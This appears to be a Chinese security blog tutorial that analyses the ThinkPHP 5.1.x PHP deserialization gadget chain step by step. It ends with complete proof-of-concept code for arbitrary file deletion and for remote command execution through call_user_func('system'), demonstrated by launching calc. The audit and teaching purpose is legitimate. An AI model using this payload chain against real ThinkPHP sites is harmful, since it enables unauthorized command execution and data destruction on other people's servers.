ThinkPHP审计(2) Thinkphp反序列化链5.1.X原理分析从0编写POC

ThinkPHP审计(2) Thinkphp反序列化链子5.1.X原理分析&从0编写POC

文章目录

  • ThinkPHP审计(2) Thinkphp反序列化链子5.1.X原理分析&从0编写POC
  • 动态调试环境配置
  • Thinkphp反序列化链5.1.X原理分析
    • 一.实现任意文件删除
    • 二.实现任意命令执行
      • 真正的难点
  • Thinkphp反序列化链5.1.x 编写 Poc
  • 汇总POC

动态调试环境配置

比较简洁的环境配置教程:
https://sn1per-ssd.github.io/2021/02/09/phpstudy-phpstorm-xdebug%E6%90%AD%E5%BB%BA%E6%9C%AC%E5%9C%B0%E8%B0%83%E8%AF%95%E7%8E%AF%E5%A2%83/

Thinkphp反序列化链5.1.X原理分析

原理分析仅仅是遵循前辈的已有的道路,而不是完全探究每一种链子所带来的情况和可能性

前提:存在反序列化的入口

  1. unserialize()
  2. phar反序列化
  3. session反序列化

__destruct/__wakeup可以作为PHP反序列链的入口
这里简单介绍一下__destruct垃圾回收机制与生命周期的含义
__destruct可以理解为PHP的垃圾回收机制,是每次对象执行结束后必须执行的内容,但是执行的先后顺序往往和反序列化的生命周期有关

例如:

<?php
class Test{public $name;public $age;public $string;// __construct:实例化对象时被调用.其作用是拿来初始化一些值。public function __construct($name, $age, $string){echo "__construct 初始化"."<br>";}// __destruct:当删除一个对象或对象操作终止时被调用。其最主要的作用是拿来做垃圾回收机制。/** 当对象销毁时会调用此方法* 一是用户主动销毁对象,二是当程序结束时由引擎自动销毁*/function __destruct(){echo "__destruct 类执行完毕"."<br>";}
}
$test = new test("test",18, 'Test String');
echo '第二种执行完毕'.'<br>';?>

image-20240406220859479

这里$test = new test("test",18, 'Test String');

对象被赋值给了$test变量,而不是直接的new test("test",18, 'Test String'); 传递给对象延长了对象的生命周期

所以是在echo '第二种执行完毕'.'<br>';执行后才执行了__destruct内容

类似的比如快速销毁(Fast-destruct)

<?php
class Test{public $name;public $age;public $string;// __construct:实例化对象时被调用.其作用是拿来初始化一些值。public function __construct($name, $age, $string){echo "__construct 初始化"."<br>";}// __destruct:当删除一个对象或对象操作终止时被调用。其最主要的作用是拿来做垃圾回收机制。/** 当对象销毁时会调用此方法* 一是用户主动销毁对象,二是当程序结束时由引擎自动销毁*/function __destruct(){echo "__destruct 类执行完毕"."<br>";}
}//主动销毁
$test = new Test("test",18, 'Test String');
unset($test);
echo '第一种执行完毕'.'<br>';
echo '----------------------<br>';?>

image-20240406222646374

这里直接__construct后执行__destruct

因为unset — 清除指定变量直接销毁储存对象的变量,达到快速垃圾回收的目的

现在开始分析链子 Windows 类中__destruct执行了自身的removeFiles()方法

image-20240406223848195

跟进removeFiles

    private function removeFiles(){foreach ($this->files as $filename) {if (file_exists($filename)) {@unlink($filename);}}$this->files = [];}

image-20240406224229041

发现遍历$this->files,而且$this->files可控,作为数组传递

一.实现任意文件删除

@unlink($filename);删除了传递的filename

简单编写poc

<?php
namespace think\process\pipes;use think\Process;
class Pipes{};class Windows extends Pipes
{private $files = ["D:\\flag.txt"];}
$windows=new Windows();
echo(base64_encode(serialize($windows)));
?>

可以实现任意文件的的删除

image-20240406224903636

二.实现任意命令执行

除了任意文件删除,危害还可以更大吗?

通过POP链可以实现任意命令执行

image-20240406165716844

全局逻辑图

image-20240406165638396

    private function removeFiles(){foreach ($this->files as $filename) {if (file_exists($filename)) {@unlink($filename);}}$this->files = [];}

file_exists函数用于判断文件是否存在

预期传入 String $filename但是如果我们控制$filename作为一个对象,就可以隐形的调用类的__toString()方法

image-20240406225107568

thinkphp/library/think/model/concern/Conversion.php

public function __toString(){return $this->toJson();}
  public function toJson($options = JSON_UNESCAPED_UNICODE){return json_encode($this->toArray(), $options);}
public function toArray(){$item       = [];$hasVisible = false;foreach ($this->visible as $key => $val) {if (is_string($val)) {if (strpos($val, '.')) {list($relation, $name)      = explode('.', $val);$this->visible[$relation][] = $name;} else {$this->visible[$val] = true;$hasVisible          = true;}unset($this->visible[$key]);}}foreach ($this->hidden as $key => $val) {if (is_string($val)) {if (strpos($val, '.')) {list($relation, $name)     = explode('.', $val);$this->hidden[$relation][] = $name;} else {$this->hidden[$val] = true;}unset($this->hidden[$key]);}}// 合并关联数据$data = array_merge($this->data, $this->relation);foreach ($data as $key => $val) {if ($val instanceof Model || $val instanceof ModelCollection) {// 关联模型对象if (isset($this->visible[$key]) && is_array($this->visible[$key])) {$val->visible($this->visible[$key]);} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {$val->hidden($this->hidden[$key]);}// 关联模型对象if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {$item[$key] = $val->toArray();}} elseif (isset($this->visible[$key])) {$item[$key] = $this->getAttr($key);} elseif (!isset($this->hidden[$key]) && !$hasVisible) {$item[$key] = $this->getAttr($key);}}// 追加属性(必须定义获取器)if (!empty($this->append)) {//在poc中定义了append:["peanut"=>["whoami"]foreach ($this->append as $key => $name) { //$key =paenut; $name =["whoami"]if (is_array($name)) {//$name=["whoami"]所以进入// 追加关联对象属性$relation = $this->getRelation($key);if (!$relation) {$relation = $this->getAttr($key);if ($relation) {$relation->visible($name);//$relation可控,找到一个没有visible方法或不可访问这个方法的类时,即可调用_call()魔法方法}}$item[$key] = $relation ? $relation->append($name)->toArray() : [];} elseif (strpos($name, '.')) {list($key, $attr) = explode('.', $name);// 追加关联对象属性$relation = $this->getRelation($key);if (!$relation) {$relation = $this->getAttr($key);if ($relation) {$relation->visible([$attr]);}}$item[$key] = $relation ? $relation->append([$attr])->toArray() : [];} else {$item[$name] = $this->getAttr($name, $item);}}}return $item;}

关键的几个判断和赋值

public function getRelation($name = null){if (is_null($name)) {return $this->relation;} elseif (array_key_exists($name, $this->relation)) {return $this->relation[$name];}return;}
 if (!empty($this->append)) {//在poc中定义了append:["peanut"=>["whoami"]foreach ($this->append as $key => $name) { //$key =paenut; $name =["whoami"]if (is_array($name)) {//$name=["whoami"]所以进入// 追加关联对象属性$relation = $this->getRelation($key);if (!$relation) {$relation = $this->getAttr($key);if ($relation) {$relation->visible($name);//$relation可控,找到一个没有visible方法或不可访问这个方法的类时,即可调用_call()魔法方法}}
public function getAttr($name, &$item = null)//此时$name = 上一层的$key = peanut{try {$notFound = false;$value    = $this->getData($name);} catch (InvalidArgumentException $e) {$notFound = true;$value    = null;}
public function getData($name = null)//$name = $key =peanut{if (is_null($name)) {return $this->data;} elseif (array_key_exists($name, $this->data)) {//poc中定义$this->data = ['peanut'=>new request()]return $this->data[$name];} elseif (array_key_exists($name, $this->relation)) {return $this->relation[$name];}throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);}

$relation->visible($name);$relation可控,可以实现任意类的visible方法,如果visible方法不存在,就会调用这个类的__call方法

如何达到$relation->visible($name); 触发点 访问

        if (!empty($this->append)) {//在poc中定义了append:["peanut"=>["whoami"]]foreach ($this->append as $key => $name) { //$key =paenut; $name =["whoami"]if (is_array($name)) {//$name=["whoami"]所以进入
  1. 保证$this->append不为空
  2. $this->append 数组的值$name为数组 也就是二维数组

比如传入append:["peanut"=>["whoami"]]

接着向下走

$relation = $this->getRelation($key);if (!$relation) {
public function getRelation($name = null){if (is_null($name)) {return $this->relation;} elseif (array_key_exists($name, $this->relation)) {return $this->relation[$name];}return;}

不会进入if/elseif中 直接return;回来 为null

if (!$relation)为空进入判断

 $relation = $this->getAttr($key);if ($relation) {$relation->visible($name);//$relation可控,找到一个没有visible方法或不可访问这个方法的类时,即可调用_call()魔法方法}
public function getAttr($name, &$item = null)//此时$name = 上一层的$key = peanut{try {$notFound = false;$value    = $this->getData($name);} catch (InvalidArgumentException $e) {$notFound = true;$value    = null;}

进入$this->getData

public function getData($name = null)//$name = $key =peanut{if (is_null($name)) {return $this->data;} elseif (array_key_exists($name, $this->data)) {//poc中定义$this->data = ['peanut'=>new request()]return $this->data[$name];} elseif (array_key_exists($name, $this->relation)) {return $this->relation[$name];}throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);}

判断了$this->data传递的键存在,如果存在,返回其数组对应的键值

比如可以控制$this->data = ['peanut'=>new request()]

 $relation = $this->getAttr($key);if ($relation) {$relation->visible($name);//$relation可控,找到一个没有visible方法或不可访问这个方法的类时,即可调用_call()魔法方法}

$relation->visible($name);$relation可控为任意类

现在寻找调用__call的类

thinkphp/library/think/Request.php

  public function __call($method, $args){if (array_key_exists($method, $this->hook)) {array_unshift($args, $this);return call_user_func_array($this->hook[$method], $args);}throw new Exception('method not exists:' . static::class . '->' . $method);}

这里存在敏感关键函数call_user_func_array

__call($method, $args)接受的参数`

$method固定是visible

$args是传递过来的$name

 if (array_key_exists($method, $this->hook)) {array_unshift($args, $this);return call_user_func_array($this->hook[$method], $args);

可以控制$this->hook['visible']为任意值,可以控制函数名

call_user_func()的利用方式无非两种

__call_user_func($method, $args) __

call_user_func_array([ o b j , obj, obj,method], $args)

如果执行第一种方式call_user_func($method, $args)

但是这里array_unshift($args, $this); 参数插入$this作为第一个值

image-20240407001625248

参数是不能被正常命令识别的,不能直接RCE

那我们最终的利用点可以肯定并不是这里

如果选择第二种方式

call_user_func_array([$obj,$method], $args)

**通过调用 任意类 的 任意方法 **,可供选择的可能性更多

call_user_func_array([ o b j , " 任 意 方 法 " ] , [ obj,"任意方法"],[ obj,""],[this,任意参数])

也就是 o b j − > obj-> obj>func( t h i s , this, this,argv)

真正的难点

曲线救国的策略

难点理解:

__call魔术方法受到array_unshift无法可控触发call_user_func_array

利用_call调用isAjax类找可控变量再触发到filterValue里的call_user_func

为什么这里选RequestisAjax方法 接着POP链的调用了?

为什么当时的链子发现的作者会想到通过isAjax接着执行命令?

网上文章千篇一律,无非就是拿个poc动态调试,粘贴个poc就完了

Thinkphp反序列化漏洞 核心在于 逆向的思考 倒推

开发者不会傻乎乎写个system,shell_exec,exec等系统函数给你利用的可能

而我们又希望最终实现RCE的效果

我们最终应该更多关注于 不明显的回调函数或者匿名函数执行命令

比如call_user_func,call_user_func_array,array_map,array_filter...

thinkphp/library/think/Request.php

private function filterValue(&$value, $key, $filters){$default = array_pop($filters);foreach ($filters as $filter) {if (is_callable($filter)) {// 调用函数或者方法过滤$value = call_user_func($filter, $value);

$filter , $value 可控

通过传递 $filter , $value实现任意命令执行

那么什么地方调用了filterValue?回溯调用filterValue的地方

image-20240407141514973

thinkphp/library/think/Request.phpinput调用

$this->filterValue($data, $name, $filter);

public function input($data = [], $name = '', $default = null, $filter = ''){if (false === $name) {// 获取原始数据return $data;}$name = (string) $name;if ('' != $name) {// 解析nameif (strpos($name, '/')) {list($name, $type) = explode('/', $name);}$data = $this->getData($data, $name);if (is_null($data)) {return $default;}if (is_object($data)) {return $data;}}// 解析过滤器$filter = $this->getFilter($filter, $default);if (is_array($data)) {array_walk_recursive($data, [$this, 'filterValue'], $filter);if (version_compare(PHP_VERSION, '7.1.0', '<')) {// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针$this->arrayReset($data);}} else {$this->filterValue($data, $name, $filter); //调用点}

input()函数满足条件,但是在 input() 中会对 $name 进行强转 $name = (string) $name; 传入对象会直接报错,所以使用 ide 对其进行回溯,查找调用 input() 的方法

什么地方又调用了input函数? Request类中的param函数

image-20240407141815137

public function param($name = '', $default = null, $filter = ''){if (!$this->mergeParam) {$method = $this->method(true);// 自动获取请求变量switch ($method) {case 'POST':$vars = $this->post(false);break;case 'PUT':case 'DELETE':case 'PATCH':$vars = $this->put(false);break;default:$vars = [];}// 当前请求参数和URL地址中的参数合并$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));$this->mergeParam = true;}if (true === $name) {// 获取包含文件上传信息的数组$file = $this->file();$data = is_array($file) ? array_merge($this->param, $file) : $this->param;return $this->input($data, '', $default, $filter);}return $this->input($this->param, $name, $default, $filter);}

什么地方又调用了param函数?

image-20240407142005524

是在thinkphp/library/think/Request.phpisAjax方法调用

public function isAjax($ajax = false){$value  = $this->server('HTTP_X_REQUESTED_WITH');$result = 'xmlhttprequest' == strtolower($value) ? true : false;if (true === $ajax) {return $result;}$result           = $this->param($this->config['var_ajax']) ? true : $result;$this->mergeParam = false;return $result;}

我们可以控制$this->config['var_ajax']为任意值

通过 call_user_func(['object','method',['$this','args']]);

实现 跳转 Request类的isAjax方法

image-20240406165638396

至此实现整个链路的闭合

Thinkphp反序列化链5.1.x 编写 Poc

image-20240407143848950

我们开始编写Poc时可以以魔术方法作为每个部分的 分界点

因为魔术方法的实现 往往时 跨类

注意声明一下 命名空间

image-20240407144240558

image-20240407150126056

//__destruct->removeFiles->file_exists->
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes{private $files = [];function __construct(){$this->files=[new Pivot()];}
}

实现触发 new Pivot(任意类)的__toString魔术方法

触发thinkphp/library/think/model/concern/Conversion.php

image-20240407144729146

注意一下这里是trait Conversion

PHP 实现了一种代码复用的方法,称为 trait。

Trait 是为类似 PHP 的单继承语言而准备的一种代码复用机制。Trait 为了减少单继承语言的限制,使开发人员能够自由地在不同层次结构内独立的类中复用 method。Trait 和 Class 组合的语义定义了一种减少复杂性的方式,避免传统多继承和 Mixin 类相关典型问题。

Trait 和 Class 相似,但仅仅旨在用细粒度和一致的方式来组合功能。 无法通过 trait 自身来实例化。它为传统继承增加了水平特性的组合;也就是说,应用的几个 Class 之间不需要继承。

__toString->toJson->toArray->visible->

if (!empty($this->append)) {//在poc中定义了append:["peanut"=>["whoami"]foreach ($this->append as $key => $name) { //$key =paenut; $name =["whoami"]if (is_array($name)) {//$name=["whoami"]所以进入// 追加关联对象属性$relation = $this->getRelation($key);if (!$relation) {$relation = $this->getAttr($key);if ($relation) {$relation->visible($name);//$relation可控,找到一个没有visible方法或不可访问这个方法的类时,即可调用_call()魔法方法}}

保证几个条件

  1. $this->append有值
  2. $this->append的键对应的值为数组
  3. $this->data存在同名key,value的值就就是 跳转的任意类的visible方法

image-20240407150142185

//__toString->toJson->toArray->visible->
namespace think;
abstract class Model{protected $append = [];private $data=[];function __construct(){$this->append=['coleak'=>['']];$this->data=['coleak'=>new Request()];}
}//为后续集成类加载
namespace think\model;
use think\Model;
class Pivot extends Model{
}

可以实现跳转到Request类的_call方法

    public function __call($method, $args){if (array_key_exists($method, $this->hook)) {array_unshift($args, $this);return call_user_func_array($this->hook[$method], $args);}

image-20240407150244868

接下来进行跳转 call_user_func_array([new Request(),"isAjax"], $args)

$method一定是visible

因此可以控制$this->hook=['visible'=>[$this,'isAjax']];

跳转 Request类的isAjax方法

public function isAjax($ajax = false){$value  = $this->server('HTTP_X_REQUESTED_WITH');$result = 'xmlhttprequest' == strtolower($value) ? true : false;if (true === $ajax) {return $result;}$result           = $this->param($this->config['var_ajax']) ? true : $result;$this->mergeParam = false;return $result;}

控制$this->config['var_ajax'])存在即可

调用$this->param函数

public function param($name = '', $default = null, $filter = ''){if (!$this->mergeParam) {$method = $this->method(true);// 自动获取请求变量switch ($method) {case 'POST':$vars = $this->post(false);break;case 'PUT':case 'DELETE':case 'PATCH':$vars = $this->put(false);break;default:$vars = [];}// 当前请求参数和URL地址中的参数合并$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));$this->mergeParam = true;}if (true === $name) {// 获取包含文件上传信息的数组$file = $this->file();$data = is_array($file) ? array_merge($this->param, $file) : $this->param;return $this->input($data, '', $default, $filter);}return $this->input($this->param, $name, $default, $filter);}

这里直接初始化

$name = '', $default = null, $filter = ''

不进入第一个if判断

if (!$this->mergeParam)

控制protected $mergeParam = true;

其他条件无论执行与否,最后

return $this->input($this->param, $name, $default, $filter);

进入input函数

 public function input($data = [], $name = '', $default = null, $filter = ''){if (false === $name) {// 获取原始数据return $data;}$name = (string) $name;if ('' != $name) {// 解析nameif (strpos($name, '/')) {list($name, $type) = explode('/', $name);}$data = $this->getData($data, $name);if (is_null($data)) {return $default;}if (is_object($data)) {return $data;}}// 解析过滤器$filter = $this->getFilter($filter, $default);

初始化默认$data = [], $name = '', $default = null, $filter = ''

一定会进入$this->filterValue($data, $name, $filter);

调用函数filterValue

    private function filterValue(&$value, $key, $filters){$default = array_pop($filters);foreach ($filters as $filter) {if (is_callable($filter)) {// 调用函数或者方法过滤$value = call_user_func($filter, $value);

控制$filter作为系统命令

protected $filter;
$this->filter=['system'];

filterValue.value的值为第一个通过GET请求的值

可以控制&$value的值作为命令的参数

protected $param = ['calc'];
//protected $param = 'calc'也可以,走另一条执行路径

综合一下

image-20240407150244868

//__call->isAjax->param->input->filterValue->call_user_func
namespace think;
class Request{protected $hook = [];protected $filter;protected $mergeParam = true;protected $param = ['calc'];//protected $param = 'calc'也可以,走另一条执行路径protected $config = ['var_ajax'         => '',];function __construct(){$this->hook=['visible'=>[$this,'isAjax']];$this->filter=['system'];}
}

汇总POC

<?php//__call->isAjax->param->input->filterValue->call_user_func
namespace think;
class Request{protected $hook = [];protected $filter;protected $mergeParam = true;protected $param = ['calc'];//protected $param = 'calc'也可以,走另一条执行路径protected $config = ['var_ajax'         => '',];function __construct(){$this->hook=['visible'=>[$this,'isAjax']];$this->filter=['system'];}
}//__toString->toJson->toArray->visible->
namespace think;
abstract class Model{protected $append = [];private $data=[];function __construct(){$this->append=['coleak'=>['']];$this->data=['coleak'=>new Request()];}
}//为后续集成类加载
namespace think\model;
use think\Model;
class Pivot extends Model{
}//__destruct->removeFiles->file_exists->
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes{private $files = [];function __construct(){$this->files=[new Pivot()];}
}echo base64_encode(serialize(new Windows()));
//按实际情况来决定如何处理序列化数据

image-20240407155602078

可以成功执行系统命令

本次链子涉及三个关键类

  1. Windows
  2. Conversion
  3. Request

可以浅浅记一下
可以调试看看具体的值

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/304393.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

JVM规范中的运行时数据区

✅作者简介&#xff1a;大家好&#xff0c;我是Leo&#xff0c;热爱Java后端开发者&#xff0c;一个想要与大家共同进步的男人&#x1f609;&#x1f609; &#x1f34e;个人主页&#xff1a;Leo的博客 &#x1f49e;当前专栏&#xff1a;每天一个知识点 ✨特色专栏&#xff1a…

SpringBoot 集成H2数据库,启动执行sql, 中文乱码

目录 H2数据库介绍 SpringBoot版本&#xff1a;SpringBoot 2.1.12.RELEASE 快速集成H2&#xff0c;maven依赖 快速集成H2&#xff0c;数据源及关键参数配置 spring.datasource.schema参数&#xff08;建表SQL脚本&#xff09; spring.datasource.data参数&#xff08;更新、…

Qt5 编译 Qt Creator 源码中的 linguist 模块

文章目录 下载 Qt Creator 源码手动翻译多语言自动翻译多语言 下载 Qt Creator 源码 Github: https://github.com/qt/qttools 笔记打算用 Qt 5.12.12 来编译 qt creator-linguist 所以笔者下载的是 tag - 5.12.12 &#xff0c;解压后如下&#xff0c;先删除多余的文件&#xf…

【Vue】Vue3中的OptionsAPI与CompositionAPI

文章目录 OptionsAPICompositionAPI对比总结 OptionsAPI 中文名:选项式API通过定义methods,computed,watch,data等属性方法&#xff0c;处理页面逻辑。以下是OptionsAPI代码结构 实例代码: <script lang"ts">// js或者tsimport { defineComponent } from vu…

【学习】软件测试需求分析要从哪些方面入手

软件测试需求分析是软件测试过程中非常重要的一个环节&#xff0c;它是为了明确软件测试的目标、范围、资源和时间等要素&#xff0c;以确保软件测试的有效性和全面性。本文将从以下几个方面对软件测试需求分析进行详细的阐述&#xff1a; 一、软件测试目标 软件测试目标是指…

读所罗门的密码笔记16_直通心智

1. 直通心智 1.1. 如今&#xff0c;科学家已经可以诱发触觉、压觉、痛觉和大约250种其他感觉 1.1.1. DARPA支持的触觉技术第一次让一位受伤的人能够用假肢和手指感知到被触碰的物体 1.1.2. 可以建立人工系统&#xff0c;来替换和弥补受损大脑的部分区域 1.1.3. 神经科学家能…

Nginx日志格式化和追踪

背景 Nginx是一款功能强大的Web服务器&#xff0c;对于网络环境中的日志记录和配置至关重要。定制化Nginx日志格式可以帮助管理员更好地监控服务器性能、分析用户行为并做出相应优化。在本文中&#xff0c;我们将深入探讨Nginx日志格式的高级定制化策略&#xff0c;包括理解基…

词频统计程序

使用Hadoop MapReduce处理文本文件&#xff0c;Mapper负责将文本分割为单词&#xff0c;然后Reducer对每个单词进行计数&#xff0c;最后将结果写入输出文件。 // 定义WordCount公共类 public class WordCount {// 主入口方法&#xff0c;处理命令行参数public static void m…

循环神经网络RNN

循环神经网络RNN是一种人工神经网络&#xff0c;旨在处理时间序列、语音和自然语言等序列数据。将RNN 想象成传送带&#xff0c;一次处理一个元素的信息&#xff0c;从而 "记住 "前一个元素的信息&#xff0c;对下一个元素做出预测。   想象一下&#xff0c;我们有…

【多线程】Thread的常见属性 | 终止线程 | 等待线程 | 休眠线程 | 线程安全

文章目录 一、Thread的方法Thread的常见属性后台线程&#xff08;守护线程&#xff09;设置后台线程是否存活 启动线程终止\打断一个线程1.创建标志位2.调用 interrupt() 方法 等待一个线程 join()t.join&#xff08;&#xff09;的工作过程&#xff1a; 休眠一个进程sleep 二、…

ppt从零基础到高手【办公】

第一章&#xff1a;文字排版篇01演示文稿内容基密02文字操作规范03文字排版处理04复习&作业解析第二章&#xff1a;图形图片图表篇05图形化表达06图片艺术化07轻松玩转图表08高效工具&母版统一管理09复习&作业解析10轻松一刻-文字图形小技巧速学第三章&#xff1a;…

vue模版字符串解析成vue模版对象

模版字符串 this.code <template><div style"width:100% ; height: 100% ;">{{resultData[0].name}}</div> </template> <script> export default {data() {return {resultData: [{ name: 图幅, value: 20 },]}},mounted(){},method…

JVM虚拟机(二)类加载器、双亲委派模型、类装载的执行过程

目录 一、类加载器1.1 什么是类加载器&#xff1f;1.2 类加载器的分类 二、双亲委派模型2.1 什么是双亲委派模型&#xff1f;1&#xff09; 示例一&#xff1a;加载自己创建的类2&#xff09;示例二&#xff1a;加载JDK原有的类 2.2 JVM 为什么采用双亲委派模型&#xff1f; 三…

第14届java A组蓝桥杯做题记录

A题 特殊日期 package Java14省赛.Java研究生组;import java.time.Year; //特殊判断一下2月份&#xff0c;leaf 为true 1 import java.util.*;import 蓝桥杯.dfs_n皇后; public class 特殊日期 {static int sum(int d){int res 0;while(d > 0){res d % 10;d / 10;}return…

备战蓝桥杯Day40 - 第11届python组真题 - C跑步锻炼

一、题目描述 二、思路 1、使用datetime库中的方法可以很好的解决这个问题。 2、定义起始时间和结束时间&#xff0c;判断是否是周一或者是1号&#xff0c;结果res加上相应的里程数。 3、最后输出 res 即为本题答案。 三、代码实现 import datetimestart datetime.date(2…

NzN的数据结构--选择排序

接上文&#xff0c;本章我们来介绍选择排序。先三连后看才是好习惯~~~ 目录 一、基本思想 二、直接选择排序 三、堆排序 一、基本思想 每一次从待排序的数据元素中选出最小&#xff08;或最大&#xff09;的一个元素&#xff0c;存放在序列的起始位置&#xff0c;直到全部待…

前端工程化理解 (2024 面试题)

最好介绍远古世界最好随性一点&#xff0c;不要太刻板 &#xff0c;不然像背书 什么是前端工程化&#xff1f; - 知乎 前端工程化的历史 互联网初期&#xff0c;09 年以前&#xff0c;页面只需要展示一些列表、表格、文章内容以及简单图片即可&#xff0c;其目的是为了传送信…

SHOPFA:APP定制开发的哪种二开项目容易交付,哪些不可以接?

在商城系统开发领域&#xff0c;定制开发与二次开发&#xff08;二开&#xff09;是两种截然不同的项目类型。它们之间的主要差异体现在项目起点、灵活性、成本、时间以及风险等多个方面。 一、项目起点 商城定制开发通常是从零开始&#xff0c;根据客户的实际需求&#xff0c…

电介质材料(四)——复合电介质材料

本篇为西安交通大学本科课程《电气材料基础》的笔记。 本篇为这一单元的第四篇笔记&#xff0c;上一篇传送门。 复合电介质材料 是由多种成分共同组成&#xff0c;例如油纸复合绝缘、云母层压板、环氧浸渍玻璃纤维布等。即便是没有添加的材料&#xff0c;材料也会存在杂质和…

华为ensp中PPP(点对点协议)中的CHAP认证 原理和配置命令

作者主页&#xff1a;点击&#xff01; ENSP专栏&#xff1a;点击&#xff01; 创作时间&#xff1a;2024年4月11日6点00分 PPP协议&#xff08;Point-to-Point Protocol&#xff09;是点到点协议&#xff0c;是一种常用的串行链路层协议&#xff0c;用于在两个节点之间建立点…